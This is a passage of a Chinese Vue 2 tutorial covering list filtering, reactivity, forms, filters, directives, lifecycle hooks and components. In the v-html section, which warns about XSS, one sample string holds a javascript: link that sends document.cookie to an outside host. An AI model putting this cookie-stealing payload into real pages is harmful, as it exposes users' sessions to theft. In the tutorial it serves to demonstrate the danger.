[{id: '01',name: '张三',age: 18}, {id: '02',name: '李四',age: 19}, {id: '03',name: '王五',age: 20 }], }, methods: { addUser() { const usr = {id: '004',name: '小明',age: 12} this.persons.unshift(usr) } }, }) </script> </body> </html>2.16、列表过滤<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>列表过滤</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) of filPersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // watch实现 //#region /*new Vue({ el: '#demo', data: { keyWord: '', persons: [ { id: '01', name: '马冬梅', age: 19, sex: '女' }, { id: '02', name: '周冬雨', age: 20, sex: '女' }, { id: '03', name: '周杰伦', age: 21, sex: '男' }, { id: '04', name: '温兆伦', age: 22, sex: '男' } ], filPersons: [] }, watch: { keyWord: { immediate: true, handler (val) { this.filPersons = this.persons.filter((p) => { return p.name.indexOf(val) !== -1 }) } } } })*/ //#endregion // computed 实现 const vm = new Vue({ data: { keyWord: '', persons: [ { id: '01', name: '马冬梅', age: 19, sex: '女' }, { id: '02', name: '周冬雨', age: 20, sex: '女' }, { id: '03', name: '周杰伦', age: 21, sex: '男' }, { id: '04', name: '温兆伦', age: 22, sex: '男' } ] }, computed: { filPersons () { return this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1 }) } } }) vm.$mount('#demo') </script> </body> </html>2.17、列表排序<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>列表排序</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">原本顺序</button> <ul> <li v-for="(p,index) of filPersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ data: { keyWord: '', sortType: 0, // 0代表原顺序,1代表降序、2代表升序 persons: [ { id: '01', name: '马冬梅', age: 19, sex: '女' }, { id: '02', name: '周冬雨', age: 18, sex: '女' }, { id: '03', name: '周杰伦', age: 21, sex: '男' }, { id: '04', name: '温兆伦', age: 17, sex: '男' } ] }, computed: { filPersons () { const arr = this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1 }) // 判断是否需要排序 if (this.sortType) { arr.sort((a, b) => { return this.sortType === 1 ? b.age - a.age : a.age - b.age }) } return arr } } }) vm.$mount('#demo') /* let arr = [1, 5, 6, 3, 8, 9, 2] arr.sort((a, b) => { return b - a // 此处a-b即为升序,b-a即为降序 }) console.log(arr); */ </script> </body> </html>2.18、Vue 监测data中的数据先来个案例引入一下:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>更新的一个问题</title> </title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h2>人员列表</h2> <button @click="updateMei">数据更新</button> <ul> <li v-for="(p,index) of persons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: '#root', data: { persons: [ { id: '01', name: '马冬梅', age: 19, sex: '女' }, { id: '02', name: '周冬雨', age: 18, sex: '女' }, { id: '03', name: '周杰伦', age: 21, sex: '男' }, { id: '04', name: '温兆伦', age: 17, sex: '男' } ] }, methods: { updateMei () { // this.persons[0].name = '马老师' // 奏效 // this.persons[0].age = '30' // 奏效 // this.persons[0].sex = '男' // 奏效 // this.persons[0] = { id: '01', name: '马老师', age: 30, sex: '男' } //失败 this.persons.splice(0, 1, { id: '001', name: '马老师', age: 50, sex: '男' }) } }, }) </script> </body> </html>点击更新马冬梅的信息,马冬梅的数据并没有发生改变。我们来看看控制台: 控制台上的数据发生了改变,说明,这个更改的数据并没有被 vue 监测到。所以我们来研究一下 Vue 监测的原理。我们先研究 Vue 如何监测 对象里的数据代码<!-- 准备好一个容器--> <div id="root"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'浙江师范大学', address:'金华', student:{ name:'tom', age:{ rAge:40, sAge:29, }, friends:[ {name:'jerry',age:35} ] } } }) </script>讲一下解析模板后面的操作---》调用 set 方法时,就会去解析模板----->生成新的虚拟 DOM----->新旧DOM 对比 -----> 更新页面模拟一下 Vue 中的 数据监测<script type="text/javascript" > let data = { name:'yykk', address:'北京', } //创建一个监视的实例对象,用于监视data中属性的变化 const obs = new Observer(data) console.log(obs) //准备一个vm实例对象 let vm = {} vm._data = data = obs function Observer(obj){ //汇总对象中所有的属性形成一个数组 const keys = Object.keys(obj) //遍历 keys.forEach((k) => { Object.defineProperty(this, k, { get() { return obj[k] }, set(val) { console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`) obj[k] = val } }) }) } </script>原理Vue 会监视 data中所有层次的数据如何检测对象中的数据?通过setter实现监视,且要在new Vue() 时就传入要检测的数据对象创建后追加的属性,Vue 默认不做响应式处理如需给后加的属性做响应式,请使用如下APIVue.set(target,propertyName/index,value) vm.$set(target,propertyName/index,value)如何检测数组中的数据?通过包裹数组更新元素的方法实现,本质就做了两件事情调用原生对应的方法对数组进行更新重新解析模板,进而更新页面在Vue修改数组中的某个元素一定要加以下方法push()、pop()、unshift()、shift()、splice()、sort()、reverse() 这几个方法被Vue重写了Vue.set() 或 Vue.$set()特别注意:Vue.set() 和 Vue.$set() 不能给 vm 或 vm 的根数据对象(data等)添加属性Vue.set 的使用Vue.set(target,propertyName/index,value) 或vm.$set(target,propertyName/index,value)用法:向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新。它必须用于向响应式对象上添加新 property,因为 Vue 无法探测普通的新增 property (比如 vm.myObject.newProperty = 'hi')代码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>vue中的数据代理</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h3>地址:{{school.address}}</h3> <h3>昵称:{{school.name}}</h3> <hr> <h2>学生信息</h2> <button @click="addSex">添加一个性别属性,默认值为男</button> <h2>学生姓名:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2> <div v-if="student.sex">性别:{{student.sex}}</div> <h2>爱好</h2> <ul> <li v-for="(h,index) of student.hobbys" :key="index"> {{h}} </li> </ul> <h2>朋友们</h2> <ul> <li v-for="(f,index) of student.friends" :key="index"> {{f.name}}-{{f.age}} </li> </ul> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 const vm = new Vue({ el: "#root", data: { school: { name: 'yykk', address: '上海', }, student: { name: 'tom', age: { rAge: 40, sAge: 29 }, hobbys: ['music', 'code', 'writeblog'], friends: [ { name: 'jack', age: 35 }, { name: 'tony', age: 30 }, ] } }, methods: { addSex () { // Vue.set(this.student, 'sex', '男') this.$set(this.student, 'sex', '男') } }, }) </script> </body> </html>Vue.set() 或 vm.$set 有缺陷:就是 vm 和 _data看完了 vue 监测对象中的数据,再来看看 vue 如何监测 数组里的数据先写个代码案例<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>vue中的数据代理</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h2>学生信息</h2> <button @click="student.age++">年龄+1</button> <button @click="addSex">添加一个性别属性,默认值为男</button> <button @click="addFriend">在列表首位添加一个朋友</button> <button @click="updateFirstFriend">修改第一个朋友的名字为张三</button> <button @click="addhobby">添加一个朋友的爱好</button> <button @click="updhobby">修改第一个爱好为:打游戏</button> <h2>姓名:{{student.name}}</h2> <h2>年龄:{{student.age}}</h2> <h2 v-if="student.sex">性别:{{student.sex}}</h2> <h2>爱好:</h2> <ul> <li v-for="(h,index) of student.hobbys" :key="index"> {{h}} </li> </ul> <h2>朋友们</h2> <ul> <li v-for="(f,index) of student.friends" :key="index"> {{f.name}}-{{f.age}} </li> </ul> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 const vm = new Vue({ el: "#root", data: { student: { name: 'tom', age: 18, hobbys: ['music', 'code', 'writeblog'], friends: [ { name: 'jack', age: 35 }, { name: 'tony', age: 30 }, ] } }, methods: { addSex () { this.$set(this.student, 'sex', '男') }, addFriend () { this.student.friends.unshift({ name: 'yykk', age: 18 }) }, updateFirstFriend () { this.student.friends[0].name = '张三' }, addhobby () { this.student.hobbys.push('旅游') }, updhobby () { // this.student.hobbys.splice(0, 1, '打游戏') // Vue.set(this.student.hobbys, 0, '打游戏') this.$set(this.student.hobbys, 0, '打游戏') } }, }) </script> </body> </html>所以我们通过 vm._data.student.hobby[0] = 'aaa' // 不奏效vue 监测在数组那没有 getter 和 setter,所以监测不到数据的更改,也不会引起页面的更新既然 vue 在对数组无法通过 getter 和 setter 进行数据监视,那 vue 到底如何监视数组数据的变化呢?vue对数组的监测是通过 包装数组上常用的用于修改数组的方法来实现的。vue官网的解释:2.19、收集表单数据收集表单数据若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。若:<input type="checkbox"/>没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)配置input的value属性:v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)v-model的初始值是数组,那么收集的的就是value组成的数组备注:v-model的三个修饰符:​ lazy:失去焦点再收集数据​ number:输入字符串转为有效的数字​ trim:输入首尾空格过滤<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初始vue</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <form action="" @submit.prevent="send"> <label for="demo">账号:</label> <input type="text" id="demo" v-model.trim="userInfo.account"><br> <br> 密码: <input type="password" v-model="userInfo.password"> <br> <br> 年龄: <input type="number" v-model.number="userInfo.age"> <br> <br> 性别: 男 <input type="radio" name="sex" v-model="userInfo.sex" value="male"> 女 <input type="radio" name="sex" v-model="userInfo.sex" value="female"><br> <br> 爱好: 听音乐 <input type="checkbox" v-model="userInfo.hobby" value="music"> 写代码 <input type="checkbox" v-model="userInfo.hobby" value="code"> 打游戏 <input type="checkbox" v-model="userInfo.hobby" value="game"> <br> <br> 校区选择 <select v-model="userInfo.city"> <option value="">请选择校区</option> <option value="shanghai">上海</option> <option value="beijing">北京</option> <option value="guangdong">广东</option> <option value="shenzhen">深圳</option> </select> <br> <br> 其他信息: <textarea v-model.lazy="userInfo.other"></textarea><br> <br> <input type="checkbox" v-model="userInfo.agree"> 阅读并接收 <a href="http://cnblogs.com/zhaostudy/">《用户协议》</a> <button>提交</button> </form> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 new Vue({ el: "#root", data: { userInfo: { account: '', password: '', sex: 'female', age: '', hobby: [], city: '', other: '', agree: '' }, }, methods: { send () { console.log(JSON.stringify(this.userInfo)); } }, }) </script> </body> </html>页面效果如下:2.20、过滤器(非重点)定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。语法:注册过滤器:Vue.filter(name,callback) 全局过滤器new Vue{filters:{}} 局部过滤器使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"备注:过滤器可以接收额外参数,多个过滤器也可以串联并没有改变原来的数据,而是产生新的对应数据处理时间的库 moment 体积较大 dayjs 轻量级<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初始vue</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.4/dayjs.min.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h2>显示格式化后的时间</h2> <!-- 计算属性实现 --> <h2>现在是:{{formatTime}}</h2> <!-- methods实现 --> <h2>现在是:{{getformatTime()}}</h2> <!-- 过滤器实现 --> <h2>现在是:{{time | timeFormater}}</h2> <!-- 过滤器(传参) --> <h2>现在是:{{time | timeFormater('YYYY-MM-DD') | mySlice}}</h2> <h3>{{msg | mySlice}}</h3> <h3 :x="msg | mySlice">你好,yykk</h3> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 全局过滤器 Vue.filter('mySlice', function (value) { return value.slice(0, 3) }) // 创建Vue实例 new Vue({ el: "#root", data: { time: 1660130420612, msg: '123456' }, computed: { formatTime () { return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss') } }, methods: { getformatTime () { return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss') } }, // 局部过滤器 filters: { timeFormater (value, str = 'YYYY-MM-DD HH:mm:ss') { return dayjs(value).format(str) }, /*mySlice (value, str = 'YYYY-MM-DD HH:mm:ss') { return value.slice(0, 4) }*/ } }) </script> </body> </html>网页效果如下:2.21、内置指令之前学过的指令:v-bind:单向绑定解析表达式,可简写为 :v-model:双向数据绑定v-for:遍历数组、对象、字符串v-on:绑定事件监听,可简写为 @v-show:条件渲染(动态控制节点是否显示)v-if:条件渲染(动态控制节点是否存在)v-else-if:条件渲染(动态控制节点是否存在)v-else:条件渲染(动态控制节点是否存在)v-text指令:(使用的比较少)1.作用:向其所在的节点中渲染文本内容。2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>v-text</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-text="name"></div> <div v-text="str"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el: '#root', data: { name: 'yykk', str: '<h3>你好啊!</h3>' } }) </script> </body> </html>v-html指令:(使用的很少)1.作用:向指定节点中渲染包含html结构的内容。2.与插值语法的区别:v-html会替换掉节点中所有的内容,{{xx}}则不会。v-html可以识别html结构。3.严重注意:v-html有安全性问题!!!!在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>v-html</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-html="str"></div> <div v-html="str2"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el: '#root', data: { name: 'yykk', str: '<h3>你好啊!</h3>', str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>' } }) </script> </body> </html>v-cloak指令(没有值)本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>v-cloak</title> <script type="text/javascript" src="../js/vue.js"></script> <style> [v-cloak] { display: none; } </style> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h3 v-cloak>你好,{{name}} </div> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el: '#root', data: { name: 'yykk', str: '<h3>你好啊!</h3>' } }) </script> </body> </html>v-once指令:(用的少)v-once所在节点在初次动态渲染后,就视为静态内容了。以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>v-once</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2 v-once>初始化的n值是:{{ n }}</h2> <h2>当前的n值是:{{ n }}</h2> <button @click="n++">点我n+1</button> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el: '#root', data: { n: 1 } }) </script> </body> </html>v-pre指令:(比较没用)跳过其所在节点的编译过程可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>v-pre</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el: '#root', data: { n: 1 } }) </script> </body> </html>2.22、自定义指令需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。语法:局部指令:directives: { focus: { // 指令的定义 inserted: function (el) { el.focus() } } }全局指令:<script> // 注册一个全局自定义指令 `v-focus` Vue.directive('focus', { // 当被绑定的元素插入到 DOM 中时…… inserted: function (el) { // 聚焦元素 el.focus() } }) </script>配置对象中常用的3个回调:bind:指令与元素成功绑定时调用。inserted:指令所在元素被插入页面时调用。update:指令所在模板结构被重新解析时调用。理解这三个的调用时机,需要进一步了解 vue 的生命周期,下面会介绍。定义全局指令<!-- 准备好一个容器--> <div id="root"> <input type="text" v-fbind:value="n"> </div> <script type="text/javascript"> Vue.config.productionTip = false //定义全局指令 Vue.directive('fbind', { // 指令与元素成功绑定时(一上来) bind(element, binding){ element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element, binding){ element.focus() }, // 指令所在的模板被重新解析时 update(element, binding){ element.value = binding.value } }) new Vue({ el:'#root', data:{ name: 'yykk', n: 1 } }) </script>局部指令:new Vue({ el: '#root', data: { name:'yykk', n:1 }, directives: { // big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。 /* 'big-number'(element,binding){ // console.log('big') element.innerText = binding.value * 10 }, */ big (element,binding){ console.log('big',this) //注意此处的this是window // console.log('big') element.innerText = binding.value * 10 }, fbind: { //指令与元素成功绑定时(一上来) bind (element,binding){ element.value = binding.value }, //指令所在元素被插入页面时 inserted (element,binding){ element.focus() }, //指令所在的模板被重新解析时 update (element,binding){ element.value = binding.value } } } })总结定义语法:(1)、局部指令:new Vue({directives:{指令名:配置对象}}) 或 new Vue({directives:{指令名:回调函数}})(2)、全局指令:Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)备注:指令定义时不加v-,但使用时要加v-指令名如果是多个单词,要使用kebab-case命名方式,不要使用camelCase命名。2.23、生命周期简介生命周期Vue 实例有⼀个完整的⽣命周期,也就是从new Vue()、初始化事件(.once事件)和生命周期、编译模版、挂载Dom -> 渲染、更新 -> 渲染、卸载 等⼀系列过程,称这是Vue的⽣命周期。beforeCreate(创建前):数据监测(getter和setter)和初始化事件还未开始,此时 data 的响应式追踪、event/watcher 都还没有被设置,也就是说不能访问到data、computed、watch、methods上的方法和数据。created(创建后):实例创建完成,实例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此时渲染得节点还未挂载到 DOM,所以不能访问到 $el属性。beforeMount(挂载前):在挂载开始之前被调用,相关的render函数首次被调用。此阶段Vue开始解析模板,生成虚拟DOM存在内存中,还没有把虚拟DOM转换成真实DOM,插入页面中。所以网页不能显示解析好的内容。mounted(挂载后):在el被新创建的 vm.$el(就是真实DOM的拷贝)替换,并挂载到实例上去之后调用(将内存中的虚拟DOM转为真实DOM,真实DOM插入页面)。此时页面中呈现的是经过Vue编译的DOM,这时在这个钩子函数中对DOM的操作可以有效,但要尽量避免。一般在这个阶段进行:开启定时器,发送网络请求,订阅消息,绑定自定义事件等等beforeUpdate(更新前):响应式数据更新时调用,此时虽然响应式数据更新了,但是对应的真实 DOM 还没有被渲染(数据是新的,但页面是旧的,页面和数据没保持同步呢)。updated(更新后) :在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时,组件 DOM已经更新,所以可以执行依赖于DOM的操作。然而在大多数情况下,应该避免在此期间更改状态,因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用。beforeDestroy(销毁前):实例销毁之前调用。这一步,实例仍然完全可用,this 仍能获取到实例。在这个阶段一般进行关闭定时器,取消订阅消息,解绑自定义事件。destroyed(销毁后):实例销毁后调用,调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用。总结常用的生命周期钩子mounted 发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等初始化操作beforeDestroy 清除定时器、解绑自定义事件、取消订阅消息等收尾工作关于销毁Vue实例销毁之后借助 Vue开发者工具看不到任何信息销毁之后自定义事件会失效,但是原生DOM事件依然有效一般不会在beforeDestroy 操作数据,因为即便操作数据,也不会发生更新流程了<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>引出声明周期</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h2 :style="{opacity}">欢迎学习Vue</h2> <button @click="stop">点我停止变换</button> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 // 创建Vue实例 new Vue({ el: '#root', data: { opacity: 1 }, methods: { stop() { this.$destroy() } }, // Vue完成模板的解析并把真实DOM元素放入到页面之后(挂载完毕)调用mounted mounted() { console.log('mounted',this); this.timer = setInterval(() => { this.opacity -= 0.01 if (this.opacity <= 0) this.opacity =1 }, 16); }, beforeDestroy() { console.log('vm stop work'); clearInterval(this.timer) }, }) // 外部的定时器实现(不推荐) /* setInterval(() => { vm.opacity -= 0.01 if (vm.opacity <= 0) vm.opacity =1 }, 16); */ </script> </body> </html>3、组件化编程3.1、模块与组件、模块化与组件化模块理解:向外提供特定功能的 js 程序,一般就是一个 js 文件为什么:js 文件很多很繁琐作用:复用、简化 js 的编写,提高 js 运行效率组件定义:用来实现局部功能的代码和资源的集合(html、css、js、image)为什么:一个界面的功能很复杂作用:复用代码,简化项目编码,提高运行效率模块化当应用的 js 都以模块来编写的,那么这个应用就是一个模块化的应用组件化当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用3.2、非单文本组件基本使用Vue中使用组件的三大步骤:定义组件(创建组件)注册组件使用组件(写组件标签)定义组件使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;区别如下:el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的`el`决定服务哪个容器。data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。讲解一下面试小问题:data必须写成函数:这是 js 底层设计的原因:举个例子对象形式let data = { a: 99, b: 100 } let x = data; let y = data; // x 和 y 引用的都是同一个对象,修改 x 的值, y 的值也会改变 x.a = 66; console.loh(x); // a:66 b:100 console.log(y); // a:66 b:100函数形式function data() { return { a: 99, b: 100 } } let x = data(); let y = data(); console.log(x === y); // false // 我的理解是函数每调用一次就创建一个新的对象返回给他们备注:使用template可以配置组件结构。创建一个组件案例:Vue.extend() 创建<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>基本使用</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <school></school> <student></student> <hello></hello> </div> <script type="text/javascript"> Vue.config.productionTip = false //第一步:创建school组件 const school = Vue.extend({ template:` <div class="demo"> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。 data(){ return { schoolName:'博客园', address:'上海' } }, methods: { showName(){ alert(this.schoolName) } }, }) //第一步:创建student组件 const student = Vue.extend({ template:` <div> <h2>学生姓名:{{studentName}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { studentName:'张三', age:18 } } }) //第一步:创建hello组件 const hello = Vue.extend({ template:` <div> <h2>你好啊!{{name}}</h2> </div> `, data(){ return { name:'Tom' } } }) // 注册全局组件 Vue.component('hello',hello) new Vue({ el:'#root', components:{ school, student } }) </script> </body> </html>注册组件局部注册:靠new Vue的时候传入components选项全局注册:靠Vue.component('组件名',组件)局部注册<script> //创建vm new Vue({ el: '#root', data: { msg:'你好啊!' }, //第二步:注册组件(局部注册) components: { school: school, student: student // ES6简写形式 // school, // student } }) </script>全局注册<script> //第二步:全局注册组件 Vue.component('hello', hello) </script>写组件标签<!-- 准备好一个容器--> <div id="root"> <hello></hello> <hr> <h1>{{msg}}</h1> <hr> <!-- 第三步:编写组件标签 --> <school></school> <hr> <!-- 第三步:编写组件标签 --> <student></student> </div>几个注意点:关于组件名:一个单词组成:第一种写法(首字母小写):school第二种写法(首字母大写):School多个单词组成:第一种写法(kebab-case命名):my-school第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)备注:(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。(2).可以使用name配置项指定组件在开发者工具中呈现的名字。关于组件标签:第一种写法:<school><school/>第二种写法:<school/>备注:不用使用脚手架时,会导致后续组件不能渲染。一个简写方式:const school = Vue.extend(options) 可简写为:const school = options组件的嵌套比较简单,直接展示代码:<!-- 准备好一个容器--> <div id="root"> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //定义student组件 const student = Vue.extend({ name:'student', template:` <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { name:'Anlya', age:18 } } }) //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <student></student> </div> `, data(){ return { name:'Vue', address:'北京' } }, // 注册组件(局部) components:{ student } }) //定义hello组件 const hello = Vue.extend({ template:`<h1>{{msg}}</h1>`, data(){ return { msg:'欢迎来到Vue学习!' } } }) //定义app组件 const app = Vue.extend({ template:` <div> <hello></hello> <school></school> </div> `, components:{ school, hello } }) //创建vm new Vue({ template:'<app></app>', el:'#root', //注册组件(局部) components:{app} }) </script>VueComponentschool组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。我们只需要写或,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!(这个VueComponent可不是实例对象)关于this指向:组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm。Vue 在哪管理 VueComponent一个重要的内置关系一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。3.3、单文本组件单文件组件就是将一个组件的代码写在 .vue 这种格式的文件中,webpack 会将 .vue 文件解析成 html,css,js这些形式。来做个单文件组件的案例:School.vue<template> <div class="demo"> <h2>博客名称:{{name}}</h2> <h2>博客地址:{{address}}</h2> <button @click="showName">点我提示信息</button> </div> </template> <script> export default { name: 'School', data() { return { name: 'Anlya', address: '上海' } }, methods: { showName() { alert(this.name) } } } </script> <style> .demo { background-color: orange; } </style>Student.vue<template> <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> </template> <script> export default { name: 'Student', data() { return { name: '张三', age: 18 } } } </script>App.vue用来汇总所有的组件(大总管)<template> <div> <School></School> <Student></Student> </div> 